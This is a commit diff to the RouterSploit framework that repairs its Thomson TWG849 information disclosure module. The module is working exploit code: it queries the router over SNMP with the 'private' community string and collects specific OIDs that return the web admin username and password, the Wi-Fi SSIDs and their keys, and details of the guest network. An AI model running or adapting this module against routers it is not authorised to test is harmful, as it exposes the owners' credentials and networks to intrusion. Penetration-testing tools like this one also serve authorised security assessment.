Fixing Thomson TWG849 Info Disclosure module (#410)

routersploit/modules/exploits/routers/thomson/twg849_info_disclosure.py

@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient
 class Exploit(SNMPClient):
     __info__ = {
         "name": "Thomson TWG849 Info Disclosure",
-        "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows to read sensitive information.",
+        "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.",
         "authors": [
             "Sebastian Perez",  # vulnerability discovery
             "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
@@ -21,15 +21,22 @@ class Exploit(SNMPClient):
     target = OptIP("", "Target IPv4 or IPv6 address")
     port = OptPort(161, "Target SNMP port")
     
-    oids = {  # make, model, software version
+    verbosity = OptBool("false", "Enable verbose output: true/false")
+
+    def __init__(self):
+        self.oids = {
+            # make, model, software version
             "model": "1.3.6.1.2.1.1.1.0",
             "uptime": "1.3.6.1.2.1.1.3.0",
+
             # web interface credentials
             "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
             "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
+
             # ssid and key
             "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
             "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",
+
             # guest network oids
             "guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
             "guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
@@ -43,7 +50,9 @@ class Exploit(SNMPClient):
         for name in self.oids.keys():
             snmp = self.snmp_get("private", self.oids[name])
             if snmp:
-                value = str(varBinds[0][1])
+                value = str(snmp[0][1])
+
+                if value:
                     res.append((name, value))
 
         if res: